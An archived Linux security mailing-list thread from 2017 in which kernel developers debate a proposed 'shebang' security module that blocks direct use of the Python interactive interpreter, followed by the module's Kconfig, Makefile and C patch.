slow.  I'm not sure that we would want to go this route.

> This kind of xattr should be writable by the owner of the file. The TPE
> LSM [1] could then take these xattr into account according to the TPE
> policy.

Security xattrs are only writable by root.

Mimi

> The "security.tpe.environment" could also be set on a script file to be
> part of the union with the interpreter's environment whitelist. This may
> be needed to be able to use environment variables as configuration in a
> script.
> 
> In the future, a "security.tpe.memory" could contain a set of flags as
> PaX uses for mprotect-like exceptions (user.pax.flags).
> 
> Userland daemons such as paxctld or paxrat could be used (with some
> tweaks) to keep a consistent TPE policy over time.
> 
>  Mickaël
> 
> 
> [1] https://lkml.kernel.org/r/1497015878.21594.201.camel@linux.vnet.ibm.com
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Mimi Zohar June 12, 2017, 2:27 p.m. UTC | #16
On Sun, 2017-06-11 at 22:32 -0400, Mimi Zohar wrote:
> On Sun, 2017-06-11 at 13:44 +0200, Mickaël Salaün wrote:
 
> > Using filesystem xattr seems like a good idea for this kind of
> > exceptions and instead of a hardcoded interpreter path. Something like
> > "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI)
> > and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to
> > configure a security policy for some binaries. This could also be
> > protected by IMA/EVM, if needed.
> 
> Checking for the existence of an xattr without caching is relatively
> slow.  I'm not sure that we would want to go this route.
 
For identifying interpreters, xattrs would be too slow (without
caching results), but once identified, using xattrs as you suggested,
for specifying how interpreters can be invoked and limiting
environment variables, is a good idea.  Perhaps the two xattrs could
be combined?

Mimi


--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Mickaël Salaün June 13, 2017, 8:59 p.m. UTC | #17
On 12/06/2017 04:32, Mimi Zohar wrote:
> On Sun, 2017-06-11 at 13:44 +0200, Mickaël Salaün wrote:
>> On 10/06/2017 07:27, Tetsuo Handa wrote:
>>> Kees Cook wrote:
>>>> On Fri, Jun 9, 2017 at 10:23 AM, Matt Brown <matt@nmatt.com> wrote:
>>>>> what does everyone thing about a envp_blacklist option that is a list of
>>>>> environmental variables that will be stripped from exec calls. This can
>>>>> be done in the LSM hook bprm_check_security.
>>>>>
>>>>> Is there any reason on a hardened system why you would need the
>>>>> PYTHONINSPECT environmental variable?
>>>>
>>>> As part of shebang, it likely makes sense to whitelist (rather than
>>>> blacklist) the env of the restricted interpreters. Though this is
>>>> starting to get complex. :P
>>>
>>> Blacklisting environment variables is dangerous. I think that
>>> administrators can afford whitelisting environment variable names.
>>> I think that implementing whitelist of environment variable names
>>> as an independent LSM module would be fine.
>>>
>>> While it is true that things starts getting complex if we check environment
>>> variables, shebang will already become complex if it starts worrying about
>>> updating inode number list in order to close the race window between doing
>>> creat()+write()+close()+chmod()+rename() by the package manager and teaching
>>> the kernel the new inode number determined by creat(). We will need an
>>> interface for allowing the package manager to teach the kernel the new inode
>>> number and modification of the package manager, for the kernel side is doing
>>> inode number based blacklisting while user side can execute it before rename().
> 
> I don't think we're trying to protect against executing the
> interpreter prior to the rename.  Rename, itself, would trigger
> associating the interpreter name with an inode number.
> 
>>> --
>>> To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
>>> the body of a message to majordomo@vger.kernel.org
>>> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>>>
>>
>> Using filesystem xattr seems like a good idea for this kind of
>> exceptions and instead of a hardcoded interpreter path. Something like
>> "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI)
>> and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to
>> configure a security policy for some binaries. This could also be
>> protected by IMA/EVM, if needed.
> 
> Checking for the existence of an xattr without caching is relatively
> slow.  I'm not sure that we would want to go this route.
> 
>> This kind of xattr should be writable by the owner of the file. The TPE
>> LSM [1] could then take these xattr into account according to the TPE
>> policy.
> 
> Security xattrs are only writable by root.

This is currently the case but an exception for this kind of LSM could
be allowed, or another dedicated prefix could be used.
Mickaël Salaün June 13, 2017, 8:59 p.m. UTC | #18
On 12/06/2017 16:27, Mimi Zohar wrote:
> On Sun, 2017-06-11 at 22:32 -0400, Mimi Zohar wrote:
>> On Sun, 2017-06-11 at 13:44 +0200, Mickaël Salaün wrote:
>  
>>> Using filesystem xattr seems like a good idea for this kind of
>>> exceptions and instead of a hardcoded interpreter path. Something like
>>> "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI)
>>> and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to
>>> configure a security policy for some binaries. This could also be
>>> protected by IMA/EVM, if needed.
>>
>> Checking for the existence of an xattr without caching is relatively
>> slow.  I'm not sure that we would want to go this route.
>  
> For identifying interpreters, xattrs would be too slow (without
> caching results), but once identified, using xattrs as you suggested,
> for specifying how interpreters can be invoked and limiting
> environment variables, is a good idea.  Perhaps the two xattrs could
> be combined?

Yes, caching results is definitely interesting. I think using one
variable per usage is cleaner, though.
Casey Schaufler June 13, 2017, 9:44 p.m. UTC | #19
On 6/13/2017 1:59 PM, Mickaël Salaün wrote:
> On 12/06/2017 04:32, Mimi Zohar wrote:
>> On Sun, 2017-06-11 at 13:44 +0200, Mickaël Salaün wrote:
>>> On 10/06/2017 07:27, Tetsuo Handa wrote:
>>>> Kees Cook wrote:
>>>>> On Fri, Jun 9, 2017 at 10:23 AM, Matt Brown <matt@nmatt.com> wrote:
>>>>>> what does everyone thing about a envp_blacklist option that is a list of
>>>>>> environmental variables that will be stripped from exec calls. This can
>>>>>> be done in the LSM hook bprm_check_security.
>>>>>>
>>>>>> Is there any reason on a hardened system why you would need the
>>>>>> PYTHONINSPECT environmental variable?
>>>>> As part of shebang, it likely makes sense to whitelist (rather than
>>>>> blacklist) the env of the restricted interpreters. Though this is
>>>>> starting to get complex. :P
>>>> Blacklisting environment variables is dangerous. I think that
>>>> administrators can afford whitelisting environment variable names.
>>>> I think that implementing whitelist of environment variable names
>>>> as an independent LSM module would be fine.
>>>>
>>>> While it is true that things starts getting complex if we check environment
>>>> variables, shebang will already become complex if it starts worrying about
>>>> updating inode number list in order to close the race window between doing
>>>> creat()+write()+close()+chmod()+rename() by the package manager and teaching
>>>> the kernel the new inode number determined by creat(). We will need an
>>>> interface for allowing the package manager to teach the kernel the new inode
>>>> number and modification of the package manager, for the kernel side is doing
>>>> inode number based blacklisting while user side can execute it before rename().
>> I don't think we're trying to protect against executing the
>> interpreter prior to the rename.  Rename, itself, would trigger
>> associating the interpreter name with an inode number.
>>
>>>> --
>>>> To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
>>>> the body of a message to majordomo@vger.kernel.org
>>>> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>>>>
>>> Using filesystem xattr seems like a good idea for this kind of
>>> exceptions and instead of a hardcoded interpreter path. Something like
>>> "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI)
>>> and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to
>>> configure a security policy for some binaries. This could also be
>>> protected by IMA/EVM, if needed.
>> Checking for the existence of an xattr without caching is relatively
>> slow.  I'm not sure that we would want to go this route.
>>
>>> This kind of xattr should be writable by the owner of the file. The TPE
>>> LSM [1] could then take these xattr into account according to the TPE
>>> policy.
>> Security xattrs are only writable by root.
> This is currently the case but an exception for this kind of LSM could
> be allowed, or another dedicated prefix could be used.

Better yet, use "user.tpe.whatever" and explicitly look for that in your
xattr hooks, denying access based on whatever criteria you like.
You could allow it to be set, but never deleted, for example.
You can do it all within shebang without creating exceptions or new
prefixes. 

--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Alan Cox June 14, 2017, 2:10 p.m. UTC | #20
On Mon, 12 Jun 2017 10:27:24 -0400
Mimi Zohar <zohar@linux.vnet.ibm.com> wrote:

> On Sun, 2017-06-11 at 22:32 -0400, Mimi Zohar wrote:
> > On Sun, 2017-06-11 at 13:44 +0200, Mickaël Salaün wrote:  
>  
> > > Using filesystem xattr seems like a good idea for this kind of
> > > exceptions and instead of a hardcoded interpreter path. Something like
> > > "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI)
> > > and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to
> > > configure a security policy for some binaries. This could also be
> > > protected by IMA/EVM, if needed.  
> > 
> > Checking for the existence of an xattr without caching is relatively
> > slow.  I'm not sure that we would want to go this route.  
>  
> For identifying interpreters, xattrs would be too slow (without
> caching results), but once identified, using xattrs as you suggested,
> for specifying how interpreters can be invoked and limiting
> environment variables, is a good idea.  Perhaps the two xattrs could
> be combined?

It's not just #! you need to cover. If I can run ld.so for my arch format
then ld.so will helpfully let me load any ELF binary I like and run it.

Alan
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Boris Lukashev June 14, 2017, 8:37 p.m. UTC | #21
On Wed, Jun 14, 2017 at 10:10 AM, Alan Cox <gnomes@lxorguk.ukuu.org.uk> wrote:
>
> On Mon, 12 Jun 2017 10:27:24 -0400
> Mimi Zohar <zohar@linux.vnet.ibm.com> wrote:
>
> > On Sun, 2017-06-11 at 22:32 -0400, Mimi Zohar wrote:
> > > On Sun, 2017-06-11 at 13:44 +0200, Mickaël Salaün wrote:
> >
> > > > Using filesystem xattr seems like a good idea for this kind of
> > > > exceptions and instead of a hardcoded interpreter path. Something like
> > > > "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI)
> > > > and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to
> > > > configure a security policy for some binaries. This could also be
> > > > protected by IMA/EVM, if needed.
> > >
> > > Checking for the existence of an xattr without caching is relatively
> > > slow.  I'm not sure that we would want to go this route.
> >
> > For identifying interpreters, xattrs would be too slow (without
> > caching results), but once identified, using xattrs as you suggested,
> > for specifying how interpreters can be invoked and limiting
> > environment variables, is a good idea.  Perhaps the two xattrs could
> > be combined?
>
> It's not just #! you need to cover. If I can run ld.so for my arch format
> then ld.so will helpfully let me load any ELF binary I like and run it.
>
> Alan

That depends on the threat model. Interpreted payloads are beneficial
to attackers for their light forensic footprint along with implicit
code-gen needs/powers - they dont require writing files to disk in
order to affect their goals (staging is implicitly handled by the
runtime, and behavior is tough to track). Anything going to disk is
subject to forensic recovery, malware analysis, and a host of other
concerns nobody wants to deal with when trying to compromise things
quietly. While attackers can abuse the linker to their heart's content
under certain contexts, they generally need to write files to disk in
a place where the linker can get to them, leaving more footprints or
being deterred altogether. At the payload delivery stage, remote
attackers are effectively blind and unlikely to know if their exploit
failed or the payload execution was mitigated. It has real world
value.

To go along with the notion of "perfect can be the enemy of good"
(please pardon the likely incorrect paraphrasing, second language and
all), rejecting a protection which offers coverage for a subset of
potential vectors, because it does not provide coverage for others,
leads to dead code and open holes. Is it feasible to adopt protections
which cover specific threat models with annotations on what they may
leave open such as to cover those areas in later commits? This would
also allow common work to be converged, such as LSM code dealing with
mprotect issues, path resolution as a security validator, etc.

-Boris
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
diff mbox

Patch

diff --git a/security/Kconfig b/security/Kconfig
index bdcbb92927ab..4453299c430e 100644
--- a/security/Kconfig
+++ b/security/Kconfig
@@ -195,6 +195,7 @@  source security/tomoyo/Kconfig
 source security/apparmor/Kconfig
 source security/loadpin/Kconfig
 source security/yama/Kconfig
+source security/shebang/Kconfig
 
 source security/integrity/Kconfig
 
diff --git a/security/Makefile b/security/Makefile
index f2d71cdb8e19..00a8dbebb07f 100644
--- a/security/Makefile
+++ b/security/Makefile
@@ -9,6 +9,7 @@  subdir-$(CONFIG_SECURITY_TOMOYO)        += tomoyo
 subdir-$(CONFIG_SECURITY_APPARMOR)	+= apparmor
 subdir-$(CONFIG_SECURITY_YAMA)		+= yama
 subdir-$(CONFIG_SECURITY_LOADPIN)	+= loadpin
+subdir-$(CONFIG_SECURITY_SHEBANG)	+= shebang
 
 # always enable default capabilities
 obj-y					+= commoncap.o
@@ -24,6 +25,7 @@  obj-$(CONFIG_SECURITY_TOMOYO)		+= tomoyo/
 obj-$(CONFIG_SECURITY_APPARMOR)		+= apparmor/
 obj-$(CONFIG_SECURITY_YAMA)		+= yama/
 obj-$(CONFIG_SECURITY_LOADPIN)		+= loadpin/
+obj-$(CONFIG_SECURITY_SHEBANG)		+= shebang/
 obj-$(CONFIG_CGROUP_DEVICE)		+= device_cgroup.o
 
 # Object integrity file lists
diff --git a/security/shebang/Kconfig b/security/shebang/Kconfig
new file mode 100644
index 000000000000..1b977b266413
--- /dev/null
+++ b/security/shebang/Kconfig
@@ -0,0 +1,16 @@ 
+config SECURITY_SHEBANG
+	bool "Restrict python interactive prompt/interpreter"
+	depends on SECURITY
+	help
+	  Restrict python so that python scripts are allowed to execute,
+	  while the interactive prompt/interpreter is not available.  When
+	  used in conjunction with an IMA appraise policy requiring files
+	  signatures, only signed scripts will be executed.
+
+config SECURITY_SHEBANG_PATHNAME
+	string "interactive prompt/interpreter pathname"
+	depends on SECURITY_SHEBANG
+	default "/usr/bin/python2, /usr/bin/python3"
+	help
+	  This option defines a blank/comma delimited list of
+	  interpreter pathnames.
diff --git a/security/shebang/Makefile b/security/shebang/Makefile
new file mode 100644
index 000000000000..f1b83dcb96d1
--- /dev/null
+++ b/security/shebang/Makefile
@@ -0,0 +1,3 @@ 
+obj-$(CONFIG_SECURITY_SHEBANG) += shebang.o
+
+shebang-y := shebang_python.o
diff --git a/security/shebang/shebang_python.c b/security/shebang/shebang_python.c
new file mode 100644
index 000000000000..6f98cce38ea4
--- /dev/null
+++ b/security/shebang/shebang_python.c
@@ -0,0 +1,117 @@ 
+/*
+ * shebang security module
+ *
+ * Copyright (C) 2017 IBM Corporation
+ *
+ * Authors:
+ * Mimi Zohar <zohar@linux.vnet.ibm.com>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ */
+
+#define pr_fmt(fmt) "shebang: " fmt
+
+#include <linux/module.h>
+#include <linux/binfmts.h>
+#include <linux/namei.h>
+#include <linux/lsm_hooks.h>
+
+static int initialized;
+
+#define MAX_INODES 6 
+static char *pathnames;
+static int pathnames_len;
+static unsigned long inode_list[MAX_INODES];
+static int total;
+
+/*
+ * Get the inodes associated with the list of pathnames, as specified
+ * on CONFIG_SECURITY_SHEBANG_PATHNAME.
+ */
+static void init_inode_list(void)
+{
+	char *tmp_pathnames = pathnames;
+	char *p;
+	struct path path;
+	int i;
+	int ret;
+
+	total = 0;
+	while ((p = strsep(&tmp_pathnames, " ,")) != NULL) {
+		if ((*p == '\0') || (*p == ' ') || (*p == ','))
+			continue;
+
+		if (total > MAX_INODES - 1) {
+			pr_info("too many interpreters\n");
+			break;
+		}
+
+		ret = kern_path(p, LOOKUP_FOLLOW, &path);
+		if (!ret) {
+			struct inode *inode = d_backing_inode(path.dentry);
+
+			inode_list[total] = inode->i_ino;
+			pr_info("pathname:%s i_ino: %lu\n",
+				p, inode_list[total]);
+			initialized = 1;
+			total++;
+		}
+	}
+
+	/* cleanup in case we need to lookup the inodes again. */
+	tmp_pathnames = pathnames;
+	for (i = 0; i < pathnames_len; i++)
+		if (tmp_pathnames[i] == '\0')
+			tmp_pathnames[i] = ' ';
+}
+
+/**
+ * shebang_bprm_check - prevent python interactive prompt/interpreter
+ * @bprm: contains the linux_binprm structure
+ *
+ * Restrict python such that scripts are allowed to execute, while the
+ * interactive prompt/interpreter is not available.
+ */
+static int shebang_bprm_check(struct linux_binprm *bprm)
+{
+	struct inode *inode = file_inode(bprm->file);
+	int i = 0;
+
+	if (bprm->interp != bprm->filename)	/* allow scripts */
+		return 0;
+
+	if (!initialized)
+		init_inode_list();
+
+	while (i < total) {
+		if (inode_list[i++] != inode->i_ino)
+			continue;
+
+		pr_info("prevent executing %s (ino=%lu)\n",
+			bprm->interp, inode->i_ino);
+		return -EPERM;
+	}
+	return 0;
+}
+
+static struct security_hook_list shebang_hooks[] = {
+	LSM_HOOK_INIT(bprm_check_security, shebang_bprm_check)
+};
+
+static int __init init_shebang(void)
+{
+	pathnames = kstrdup(CONFIG_SECURITY_SHEBANG_PATHNAME, GFP_KERNEL);
+	if (!pathnames)
+		return -ENOMEM;
+	pathnames_len = strlen(pathnames);
+
+	security_add_hooks(shebang_hooks, ARRAY_SIZE(shebang_hooks), "shebang");
+	pr_info("initialized\n");
+	return 0;
+}
+
+late_initcall(init_shebang);
+MODULE_LICENSE("GPL");